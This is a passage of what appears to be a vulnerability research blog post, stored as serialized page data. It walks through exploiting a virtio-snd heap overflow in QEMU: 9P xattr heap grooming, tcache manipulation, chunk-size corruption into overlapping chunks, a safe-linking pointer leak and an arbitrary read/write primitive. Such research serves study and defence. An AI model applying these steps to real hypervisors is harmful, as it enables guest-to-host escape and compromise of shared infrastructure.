",{"type":22,"tag":30,"props":132059,"children":132061},{"className":132060},[],[132062],{"type":27,"value":131412},{"type":27,"value":209},{"type":22,"tag":30,"props":132065,"children":132067},{"className":132066},[],[132068],{"type":27,"value":131419},{"type":27,"value":132070},", not just the ",{"type":22,"tag":30,"props":132072,"children":132074},{"className":132073},[],[132075],{"type":27,"value":131419},{"type":27,"value":132077}," we actually care about. But we will get around this later in the blog post.",{"type":22,"tag":23,"props":132079,"children":132080},{},[132081,132082,132087],{"type":27,"value":2007},{"type":22,"tag":30,"props":132083,"children":132085},{"className":132084},[],[132086],{"type":27,"value":131419},{"type":27,"value":132088}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":22,"tag":23,"props":132090,"children":132091},{},[132092,132094,132099,132101,132107,132109,132115,132117,132123],{"type":27,"value":132093},"Once allocated, we can write arbitrary bytes into the ",{"type":22,"tag":30,"props":132095,"children":132097},{"className":132096},[],[132098],{"type":27,"value":131419},{"type":27,"value":132100}," buffer through a ",{"type":22,"tag":30,"props":132102,"children":132104},{"className":132103},[],[132105],{"type":27,"value":132106},"P9_TWRITE",{"type":27,"value":132108}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":22,"tag":30,"props":132110,"children":132112},{"className":132111},[],[132113],{"type":27,"value":132114},"P9_TREAD",{"type":27,"value":132116},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":22,"tag":30,"props":132118,"children":132120},{"className":132119},[],[132121],{"type":27,"value":132122},"P9_TCLUNK",{"type":27,"value":132124}," request on that same FID.",{"type":22,"tag":23,"props":132126,"children":132127},{},[132128,132130,132136],{"type":27,"value":132129},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":22,"tag":30,"props":132131,"children":132133},{"className":132132},[],[132134],{"type":27,"value":132135},"65536",{"type":27,"value":132137}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":22,"tag":1760,"props":132139,"children":132141},{"id":132140},"setting-the-heap-layout",[132142],{"type":27,"value":132143},"Setting the Heap Layout",{"type":22,"tag":23,"props":132145,"children":132146},{},[132147,132149,132154],{"type":27,"value":132148},"Ideally, we want a contiguous heap region consisting only of ",{"type":22,"tag":30,"props":132150,"children":132152},{"className":132151},[],[132153],{"type":27,"value":131419},{"type":27,"value":132155}," allocations, like this:",{"type":22,"tag":91,"props":132157,"children":132159},{"code":132158}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[132160],{"type":22,"tag":30,"props":132161,"children":132162},{"__ignoreMap":7},[132163],{"type":27,"value":132158},{"type":22,"tag":23,"props":132165,"children":132166},{},[132167,132169,132174,132176,132181,132183,132188],{"type":27,"value":132168},"This lets us later create holes by freeing every other ",{"type":22,"tag":30,"props":132170,"children":132172},{"className":132171},[],[132173],{"type":27,"value":131419},{"type":27,"value":132175}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":22,"tag":30,"props":132177,"children":132179},{"className":132178},[],[132180],{"type":27,"value":127767},{"type":27,"value":132182}," field of the next live ",{"type":22,"tag":30,"props":132184,"children":132186},{"className":132185},[],[132187],{"type":27,"value":131419},{"type":27,"value":132189}," chunk.",{"type":22,"tag":23,"props":132191,"children":132192},{},[132193],{"type":27,"value":132194},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":22,"tag":23,"props":132196,"children":132197},{},[132198,132200,132205,132207,132212,132214,132219,132221,132226],{"type":27,"value":132199},"As mentioned earlier, ",{"type":22,"tag":30,"props":132201,"children":132203},{"className":132202},[],[132204],{"type":27,"value":131456},{"type":27,"value":132206}," always allocates two chunks: one for ",{"type":22,"tag":30,"props":132208,"children":132210},{"className":132209},[],[132211],{"type":27,"value":131412},{"type":27,"value":132213}," and one for ",{"type":22,"tag":30,"props":132215,"children":132217},{"className":132216},[],[132218],{"type":27,"value":131419},{"type":27,"value":132220},". We want to avoid having ",{"type":22,"tag":30,"props":132222,"children":132224},{"className":132223},[],[132225],{"type":27,"value":131412},{"type":27,"value":132227}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":22,"tag":6828,"props":132229,"children":132230},{},[132231,132243],{"type":22,"tag":6832,"props":132232,"children":132233},{},[132234,132236,132241],{"type":27,"value":132235},"Make ",{"type":22,"tag":30,"props":132237,"children":132239},{"className":132238},[],[132240],{"type":27,"value":131412},{"type":27,"value":132242}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":22,"tag":6832,"props":132244,"children":132245},{},[132246,132248,132253,132255,132260,132262,132267],{"type":27,"value":132247},"Prepare a separate region whose sole purpose is to absorb ",{"type":22,"tag":30,"props":132249,"children":132251},{"className":132250},[],[132252],{"type":27,"value":131412},{"type":27,"value":132254},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":22,"tag":30,"props":132256,"children":132258},{"className":132257},[],[132259],{"type":27,"value":131412},{"type":27,"value":132261}," allocations from that separate freelist instead of placing them next to our ",{"type":22,"tag":30,"props":132263,"children":132265},{"className":132264},[],[132266],{"type":27,"value":131419},{"type":27,"value":132268}," chunks.",{"type":22,"tag":22883,"props":132270,"children":132272},{"id":132271},"separating-name-allocations",[132273],{"type":27,"value":132274},"Separating .name allocations",{"type":22,"tag":23,"props":132276,"children":132277},{},[132278,132280,132285,132287,132292],{"type":27,"value":132279},"We chose the second option. However, it is not as simple as issuing ",{"type":22,"tag":30,"props":132281,"children":132283},{"className":132282},[],[132284],{"type":27,"value":131456},{"type":27,"value":132286}," for N ",{"type":22,"tag":30,"props":132288,"children":132290},{"className":132289},[],[132291],{"type":27,"value":131412},{"type":27,"value":132293},"-sized allocations and then freeing them.",{"type":22,"tag":23,"props":132295,"children":132296},{},[132297,132299,132304,132305,132310,132311,132316,132318,132323,132325,132330],{"type":27,"value":132298},"At this point, we already know that ",{"type":22,"tag":30,"props":132300,"children":132302},{"className":132301},[],[132303],{"type":27,"value":131456},{"type":27,"value":132206},{"type":22,"tag":30,"props":132306,"children":132308},{"className":132307},[],[132309],{"type":27,"value":131412},{"type":27,"value":132213},{"type":22,"tag":30,"props":132312,"children":132314},{"className":132313},[],[132315],{"type":27,"value":131419},{"type":27,"value":132317},". If we simply call it with ",{"type":22,"tag":30,"props":132319,"children":132321},{"className":132320},[],[132322],{"type":27,"value":131419},{"type":27,"value":132324}," sized the same as ",{"type":22,"tag":30,"props":132326,"children":132328},{"className":132327},[],[132329],{"type":27,"value":131412},{"type":27,"value":132331},", we get a layout like this:",{"type":22,"tag":91,"props":132333,"children":132335},{"code":132334}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[132336],{"type":22,"tag":30,"props":132337,"children":132338},{"__ignoreMap":7},[132339],{"type":27,"value":132334},{"type":22,"tag":23,"props":132341,"children":132342},{},[132343,132345,132350,132352,132358,132360,132366,132368,132373,132375,132380,132382,132387],{"type":27,"value":132344},"With that heap state, issuing a ",{"type":22,"tag":30,"props":132346,"children":132348},{"className":132347},[],[132349],{"type":27,"value":132122},{"type":27,"value":132351}," request would first free ",{"type":22,"tag":30,"props":132353,"children":132355},{"className":132354},[],[132356],{"type":27,"value":132357},".name A",{"type":27,"value":132359}," and then ",{"type":22,"tag":30,"props":132361,"children":132363},{"className":132362},[],[132364],{"type":27,"value":132365},".value A",{"type":27,"value":132367},". When ",{"type":22,"tag":30,"props":132369,"children":132371},{"className":132370},[],[132372],{"type":27,"value":132365},{"type":27,"value":132374}," is freed, the allocator sees that the preceding chunk ",{"type":22,"tag":30,"props":132376,"children":132378},{"className":132377},[],[132379],{"type":27,"value":132357},{"type":27,"value":132381}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":22,"tag":30,"props":132383,"children":132385},{"className":132384},[],[132386],{"type":27,"value":131412},{"type":27,"value":132388},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":22,"tag":23,"props":132390,"children":132391},{},[132392],{"type":27,"value":132393},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":22,"tag":23,"props":132395,"children":132396},{},[132397,132399,132404,132406,132411,132413,132418,132420,132426,132428,132433,132435,132441],{"type":27,"value":132398},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":22,"tag":30,"props":132400,"children":132402},{"className":132401},[],[132403],{"type":27,"value":131412},{"type":27,"value":132405}," allocation remains fixed at size ",{"type":22,"tag":30,"props":132407,"children":132409},{"className":132408},[],[132410],{"type":27,"value":108574},{"type":27,"value":132412},". We first allocate 16 xattrs whose ",{"type":22,"tag":30,"props":132414,"children":132416},{"className":132415},[],[132417],{"type":27,"value":131419},{"type":27,"value":132419}," size is ",{"type":22,"tag":30,"props":132421,"children":132423},{"className":132422},[],[132424],{"type":27,"value":132425},"0x30",{"type":27,"value":132427},". After that, we allocate another 16 xattrs, this time with ",{"type":22,"tag":30,"props":132429,"children":132431},{"className":132430},[],[132432],{"type":27,"value":131419},{"type":27,"value":132434}," size ",{"type":22,"tag":30,"props":132436,"children":132438},{"className":132437},[],[132439],{"type":27,"value":132440},"0x40",{"type":27,"value":132442},", and continue in the same way for each tcache size class.",{"type":22,"tag":23,"props":132444,"children":132445},{},[132446],{"type":27,"value":132447},"This yields the following layout:",{"type":22,"tag":91,"props":132449,"children":132451},{"code":132450}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[132452],{"type":22,"tag":30,"props":132453,"children":132454},{"__ignoreMap":7},[132455],{"type":27,"value":132450},{"type":22,"tag":23,"props":132457,"children":132458},{},[132459,132461,132466,132468,132473,132475,132480,132482,132487,132489,132494,132496,132501,132502,132507,132509,132514,132516,132521,132523,132528,132530,132535,132537,132542],{"type":27,"value":132460},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":22,"tag":30,"props":132462,"children":132464},{"className":132463},[],[132465],{"type":27,"value":131412},{"type":27,"value":132467}," chunks end up in the ",{"type":22,"tag":30,"props":132469,"children":132471},{"className":132470},[],[132472],{"type":27,"value":108574},{"type":27,"value":132474}," tcache bin, along with the interleaved ",{"type":22,"tag":30,"props":132476,"children":132478},{"className":132477},[],[132479],{"type":27,"value":131419},{"type":27,"value":132481}," chunks of size ",{"type":22,"tag":30,"props":132483,"children":132485},{"className":132484},[],[132486],{"type":27,"value":132425},{"type":27,"value":132488},". The next 16 ",{"type":22,"tag":30,"props":132490,"children":132492},{"className":132491},[],[132493],{"type":27,"value":131412},{"type":27,"value":132495}," chunks are interleaved with ",{"type":22,"tag":30,"props":132497,"children":132499},{"className":132498},[],[132500],{"type":27,"value":131419},{"type":27,"value":132481},{"type":22,"tag":30,"props":132503,"children":132505},{"className":132504},[],[132506],{"type":27,"value":132440},{"type":27,"value":132508},"; when freed, those ",{"type":22,"tag":30,"props":132510,"children":132512},{"className":132511},[],[132513],{"type":27,"value":131419},{"type":27,"value":132515}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":22,"tag":30,"props":132517,"children":132519},{"className":132518},[],[132520],{"type":27,"value":131412},{"type":27,"value":132522}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":22,"tag":30,"props":132524,"children":132526},{"className":132525},[],[132527],{"type":27,"value":131412},{"type":27,"value":132529},"-sized chunks that will later be served to the ",{"type":22,"tag":30,"props":132531,"children":132533},{"className":132532},[],[132534],{"type":27,"value":131412},{"type":27,"value":132536}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":22,"tag":30,"props":132538,"children":132540},{"className":132539},[],[132541],{"type":27,"value":131419},{"type":27,"value":132268},{"type":22,"tag":1760,"props":132544,"children":132546},{"id":132545},"corrupting-the-size",[132547],{"type":27,"value":132548},"Corrupting the Size",{"type":22,"tag":23,"props":132550,"children":132551},{},[132552,132554,132559,132561,132566,132568,132573,132575,132580,132581,132586],{"type":27,"value":132553},"The input format is guest-controlled, and we choose ",{"type":22,"tag":30,"props":132555,"children":132557},{"className":132556},[],[132558],{"type":27,"value":7458},{"type":27,"value":132560}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":22,"tag":30,"props":132562,"children":132564},{"className":132563},[],[132565],{"type":27,"value":7458},{"type":27,"value":132567}," is centered at ",{"type":22,"tag":30,"props":132569,"children":132571},{"className":132570},[],[132572],{"type":27,"value":33438},{"type":27,"value":132574}," (rather than ",{"type":22,"tag":30,"props":132576,"children":132578},{"className":132577},[],[132579],{"type":27,"value":129674},{"type":27,"value":129661},{"type":22,"tag":30,"props":132582,"children":132584},{"className":132583},[],[132585],{"type":27,"value":129652},{"type":27,"value":132587},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":22,"tag":23,"props":132589,"children":132590},{},[132591,132593,132598],{"type":27,"value":132592},"As we already concluded, ",{"type":22,"tag":30,"props":132594,"children":132596},{"className":132595},[],[132597],{"type":27,"value":129117},{"type":27,"value":132599}," is called with the amount:",{"type":22,"tag":91,"props":132601,"children":132603},{"code":132602},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[132604],{"type":22,"tag":30,"props":132605,"children":132606},{"__ignoreMap":7},[132607],{"type":27,"value":132602},{"type":22,"tag":23,"props":132609,"children":132610},{},[132611,132613,132618,132620,132625],{"type":27,"value":132612},"And as mentioned earlier, ",{"type":22,"tag":30,"props":132614,"children":132616},{"className":132615},[],[132617],{"type":27,"value":129148},{"type":27,"value":132619}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":22,"tag":30,"props":132621,"children":132623},{"className":132622},[],[132624],{"type":27,"value":127767},{"type":27,"value":62323},{"type":22,"tag":23,"props":132627,"children":132628},{},[132629,132631,132636,132638,132643],{"type":27,"value":132630},"With the desired heap layout of repeated ",{"type":22,"tag":30,"props":132632,"children":132634},{"className":132633},[],[132635],{"type":27,"value":131321},{"type":27,"value":132637},"-sized ",{"type":22,"tag":30,"props":132639,"children":132641},{"className":132640},[],[132642],{"type":27,"value":131419},{"type":27,"value":132644}," chunks in place, we can then free every other one:",{"type":22,"tag":91,"props":132646,"children":132648},{"code":132647}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[132649],{"type":22,"tag":30,"props":132650,"children":132651},{"__ignoreMap":7},[132652],{"type":27,"value":132647},{"type":22,"tag":23,"props":132654,"children":132655},{},[132656,132658,132663],{"type":27,"value":132657},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":22,"tag":30,"props":132659,"children":132661},{"className":132660},[],[132662],{"type":27,"value":131419},{"type":27,"value":132664}," chunk directly next to it:",{"type":22,"tag":91,"props":132666,"children":132668},{"code":132667}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[132669],{"type":22,"tag":30,"props":132670,"children":132671},{"__ignoreMap":7},[132672],{"type":27,"value":132667},{"type":22,"tag":23,"props":132674,"children":132675},{},[132676,132678,132683,132685,132690],{"type":27,"value":132677},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":22,"tag":30,"props":132679,"children":132681},{"className":132680},[],[132682],{"type":27,"value":131321},{"type":27,"value":132684},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":22,"tag":30,"props":132686,"children":132688},{"className":132687},[],[132689],{"type":27,"value":131419},{"type":27,"value":132691}," chunk now has a corrupted and likely oversized size field:",{"type":22,"tag":91,"props":132693,"children":132695},{"code":132694}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[132696],{"type":22,"tag":30,"props":132697,"children":132698},{"__ignoreMap":7},[132699],{"type":27,"value":132694},{"type":22,"tag":23,"props":132701,"children":132702},{},[132703,132705,132710],{"type":27,"value":132704},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":22,"tag":30,"props":132706,"children":132708},{"className":132707},[],[132709],{"type":27,"value":131336},{"type":27,"value":169},{"type":22,"tag":91,"props":132712,"children":132714},{"code":132713}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[132715],{"type":22,"tag":30,"props":132716,"children":132717},{"__ignoreMap":7},[132718],{"type":27,"value":132713},{"type":22,"tag":23,"props":132720,"children":132721},{},[132722,132724,132729],{"type":27,"value":132723},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":22,"tag":30,"props":132725,"children":132727},{"className":132726},[],[132728],{"type":27,"value":131336},{"type":27,"value":24730},{"type":22,"tag":91,"props":132731,"children":132733},{"code":132732}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[132734],{"type":22,"tag":30,"props":132735,"children":132736},{"__ignoreMap":7},[132737],{"type":27,"value":132732},{"type":22,"tag":23,"props":132739,"children":132740},{},[132741,132743,132749],{"type":27,"value":132742},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":22,"tag":30,"props":132744,"children":132746},{"className":132745},[],[132747],{"type":27,"value":132748},"0x400",{"type":27,"value":132750}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":22,"tag":91,"props":132752,"children":132754},{"code":132753}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[132755],{"type":22,"tag":30,"props":132756,"children":132757},{"__ignoreMap":7},[132758],{"type":27,"value":132753},{"type":22,"tag":1760,"props":132760,"children":132762},{"id":132761},"leaking-a-heap-address",[132763],{"type":27,"value":132764},"Leaking a Heap Address",{"type":22,"tag":23,"props":132766,"children":132767},{},[132768],{"type":27,"value":132769},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":22,"tag":23,"props":132771,"children":132772},{},[132773,132775,132781],{"type":27,"value":132774},"To do this, we abuse the forward (",{"type":22,"tag":30,"props":132776,"children":132778},{"className":132777},[],[132779],{"type":27,"value":132780},"fd",{"type":27,"value":132782},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":22,"tag":91,"props":132784,"children":132786},{"code":132785},"fd = next ^ (curr >> 12)\n",[132787],{"type":22,"tag":30,"props":132788,"children":132789},{"__ignoreMap":7},[132790],{"type":27,"value":132785},{"type":22,"tag":23,"props":132792,"children":132793},{},[132794,132796,132801,132802,132807],{"type":27,"value":132795},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":22,"tag":30,"props":132797,"children":132799},{"className":132798},[],[132800],{"type":27,"value":61562},{"type":27,"value":78},{"type":22,"tag":30,"props":132803,"children":132805},{"className":132804},[],[132806],{"type":27,"value":58492},{"type":27,"value":132808}," because there is no following entry. In that case, the encoding becomes:",{"type":22,"tag":91,"props":132810,"children":132812},{"code":132811},"fd = 0 ^ (curr >> 12)\n",[132813],{"type":22,"tag":30,"props":132814,"children":132815},{"__ignoreMap":7},[132816],{"type":27,"value":132811},{"type":22,"tag":23,"props":132818,"children":132819},{},[132820,132822,132827],{"type":27,"value":132821},"So if we free a single chunk into an empty tcache bin, its ",{"type":22,"tag":30,"props":132823,"children":132825},{"className":132824},[],[132826],{"type":27,"value":132780},{"type":27,"value":132828}," field is effectively just the chunk address shifted right by 12.",{"type":22,"tag":23,"props":132830,"children":132831},{},[132832],{"type":27,"value":132833},"In the overlap we achieved earlier:",{"type":22,"tag":91,"props":132835,"children":132837},{"code":132836}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[132838],{"type":22,"tag":30,"props":132839,"children":132840},{"__ignoreMap":7},[132841],{"type":27,"value":132836},{"type":22,"tag":23,"props":132843,"children":132844},{},[132845,132847,132853,132855,132861,132863,132869,132871,132876],{"type":27,"value":132846},"We first free ",{"type":22,"tag":30,"props":132848,"children":132850},{"className":132849},[],[132851],{"type":27,"value":132852},".value C",{"type":27,"value":132854}," into tcache and read its contents through the oversized ",{"type":22,"tag":30,"props":132856,"children":132858},{"className":132857},[],[132859],{"type":27,"value":132860},".value Y",{"type":27,"value":132862},". This gives us ",{"type":22,"tag":30,"props":132864,"children":132866},{"className":132865},[],[132867],{"type":27,"value":132868},".value C >> 12",{"type":27,"value":132870},". That is not yet the exact address of ",{"type":22,"tag":30,"props":132872,"children":132874},{"className":132873},[],[132875],{"type":27,"value":132852},{"type":27,"value":132877},", since the lower 12 bits are lost.",{"type":22,"tag":23,"props":132879,"children":132880},{},[132881,132883,132888,132890,132895,132897,132902,132904,132909],{"type":27,"value":132882},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":22,"tag":30,"props":132884,"children":132886},{"className":132885},[],[132887],{"type":27,"value":132852},{"type":27,"value":132889},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":22,"tag":30,"props":132891,"children":132893},{"className":132892},[],[132894],{"type":27,"value":132852},{"type":27,"value":132896}," again. This time, ",{"type":22,"tag":30,"props":132898,"children":132900},{"className":132899},[],[132901],{"type":27,"value":61562},{"type":27,"value":132903}," is no longer ",{"type":22,"tag":30,"props":132905,"children":132907},{"className":132906},[],[132908],{"type":27,"value":58492},{"type":27,"value":132910},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":22,"tag":91,"props":132912,"children":132913},{"code":132785},[132914],{"type":22,"tag":30,"props":132915,"children":132916},{"__ignoreMap":7},[132917],{"type":27,"value":132785},{"type":22,"tag":23,"props":132919,"children":132920},{},[132921,132923,132929,132931,132936,132938,132943,132945,132950],{"type":27,"value":132922},"Since we already know ",{"type":22,"tag":30,"props":132924,"children":132926},{"className":132925},[],[132927],{"type":27,"value":132928},"curr >> 12",{"type":27,"value":132930}," from the first leak, we can read the new ",{"type":22,"tag":30,"props":132932,"children":132934},{"className":132933},[],[132935],{"type":27,"value":132780},{"type":27,"value":132937}," value from ",{"type":22,"tag":30,"props":132939,"children":132941},{"className":132940},[],[132942],{"type":27,"value":132852},{"type":27,"value":132944}," and recover the exact address of ",{"type":22,"tag":30,"props":132946,"children":132948},{"className":132947},[],[132949],{"type":27,"value":61562},{"type":27,"value":132951}," by reversing the XOR:",{"type":22,"tag":91,"props":132953,"children":132955},{"code":132954},"next = fd ^ (curr >> 12)\n",[132956],{"type":22,"tag":30,"props":132957,"children":132958},{"__ignoreMap":7},[132959],{"type":27,"value":132954},{"type":22,"tag":23,"props":132961,"children":132962},{},[132963],{"type":27,"value":132964},"This gives us the exact address of a heap chunk whose contents we control.",{"type":22,"tag":1760,"props":132966,"children":132968},{"id":132967},"arbitrary-read-and-write",[132969],{"type":27,"value":132970},"Arbitrary Read and Write",{"type":22,"tag":23,"props":132972,"children":132973},{},[132974,132976,132981],{"type":27,"value":132975},"Having a controlled chunk at a known address lets us repurpose ",{"type":22,"tag":30,"props":132977,"children":132979},{"className":132978},[],[132980],{"type":27,"value":132852},{"type":27,"value":132982}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":22,"tag":23,"props":132984,"children":132985},{},[132986,132988,132993],{"type":27,"value":132987},"Recall ",{"type":22,"tag":30,"props":132989,"children":132991},{"className":132990},[],[132992],{"type":27,"value":131456},{"type":27,"value":169},{"type":22,"tag":91,"props":132995,"children":132997},{"code":132996,"language":7187,"meta":7,"className":20513,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[132998],{"type":22,"tag":30,"props":132999,"children":133000},{"__ignoreMap":7},[133001,133040,133047,133058,133073,133088,133095,133102,133109,133131,133138,133145,133152,133160,133177,133216,133259,133266],{"type":22,"tag":101,"props":133002,"children":133003},{"class":103,"line":104},[133004,133008,133012,133016,133020,133024,133028,133032,133036],{"type":22,"tag":101,"props":133005,"children":133006},{"style":108},[133007],{"type":27,"value":55040},{"type":22,"tag":101,"props":133009,"children":133010},{"style":108},[133011],{"type":27,"value":55045},{"type":22,"tag":101,"props":133013,"children":133014},{"style":120},[133015],{"type":27,"value":131451},{"type":22,"tag":101,"props":133017,"children":133018},{"style":926},[133019],{"type":27,"value":131456},{"type":22,"tag":101,"props":133021,"children":133022},{"style":120},[133023],{"type":27,"value":980},{"type":22,"tag":101,"props":133025,"children":133026},{"style":108},[133027],{"type":27,"value":55623},{"type":22,"tag":101,"props":133029,"children":133030},{"style":166},[133031],{"type":27,"value":13822},{"type":22,"tag":101,"props":133033,"children":133034},{"style":126},[133035],{"type":27,"value":131473},{"type":22,"tag":101,"props":133037,"children":133038},{"style":120},[133039],{"type":27,"value":2510},{"type":22,"tag":101,"props":133041,"children":133042},{"class":103,"line":157},[133043],{"type":22,"tag":101,"props":133044,"children":133045},{"style":120},[133046],{"type":27,"value":14886},{"type":22,"tag":101,"props":133048,"children":133049},{"class":103,"line":182},[133050,133054],{"type":22,"tag":101,"props":133051,"children":133052},{"style":108},[133053],{"type":27,"value":59609},{"type":22,"tag":101,"props":133055,"children":133056},{"style":120},[133057],{"type":27,"value":128109},{"type":22,"tag":101,"props":133059,"children":133060},{"class":103,"line":367},[133061,133065,133069],{"type":22,"tag":101,"props":133062,"children":133063},{"style":120},[133064],{"type":27,"value":131598},{"type":22,"tag":101,"props":133066,"children":133067},{"style":166},[133068],{"type":27,"value":8615},{"type":22,"tag":101,"props":133070,"children":133071},{"style":120},[133072],{"type":27,"value":131607},{"type":22,"tag":101,"props":133074,"children":133075},{"class":103,"line":398},[133076,133080,133084],{"type":22,"tag":101,"props":133077,"children":133078},{"style":120},[133079],{"type":27,"value":131598},{"type":22,"tag":101,"props":133081,"children":133082},{"style":166},[133083],{"type":27,"value":8615},{"type":22,"tag":101,"props":133085,"children":133086},{"style":120},[133087],{"type":27,"value":131623},{"type":22,"tag":101,"props":133089,"children":133090},{"class":103,"line":428},[133091],{"type":22,"tag":101,"props":133092,"children":133093},{"emptyLinePlaceholder":15},[133094],{"type":27,"value":1581},{"type":22,"tag":101,"props":133096,"children":133097},{"class":103,"line":997},[133098],{"type":22,"tag":101,"props":133099,"children":133100},{"style":120},[133101],{"type":27,"value":108308},{"type":22,"tag":101,"props":133103,"children":133104},{"class":103,"line":1032},[133105],{"type":22,"tag":101,"props":133106,"children":133107},{"emptyLinePlaceholder":15},[133108],{"type":27,"value":1581},{"type":22,"tag":101,"props":133110,"children":133111},{"class":103,"line":1063},[133112,133117,133121,133126],{"type":22,"tag":101,"props":133113,"children":133114},{"style":120},[133115],{"type":27,"value":133116}," file_fidp ",{"type":22,"tag":101,"props":133118,"children":133119},{"style":166},[133120],{"type":27,"value":1511},{"type":22,"tag":101,"props":133122,"children":133123},{"style":926},[133124],{"type":27,"value":133125}," get_fid",{"type":22,"tag":101,"props":133127,"children":133128},{"style":120},[133129],{"type":27,"value":133130},"(pdu, 